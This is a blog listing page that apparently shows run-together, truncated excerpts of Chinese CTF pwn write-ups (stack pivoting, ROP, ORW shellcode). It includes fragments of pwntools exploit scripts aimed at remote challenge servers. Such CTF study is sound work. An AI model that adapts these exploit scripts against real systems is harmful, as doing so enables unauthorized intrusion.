qq_45595732的博客

blackgive栈迁移from pwn import*context.log_level = 'debug'def pr(a,addr): log.success(a+'====>'+hex(addr))#p = process('./blackgive')p =remote('182.92.108.71',30459)elf = ELF('./blackgive')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')puts_plt =

rop_primary矩阵相乘，算法分析用过numpy就直接调用numpy现有的库了，常规栈溢出，但是不知道为什么system的系统调用貌似被禁用了，所以用了orw，没拿shellfrom pwn import*import numpy as npfrom LibcSearcher import*context.log_level = 'debug'def pr(a,addr): log.success(a+'====>'+hex(addr))elf = ELF('./rop_prim

whitegive签到from pwn import*context.log_level = 'debug'p = remote('182.92.108.71',30210)p.sendlineafter(':',str(0x402012))p.interactive()letter开了沙箱，NX未开orw思路，shellocdefrom pwn import*context.log_level = 'debug'libc = ELF('/lib/x86_64-linux-gnu/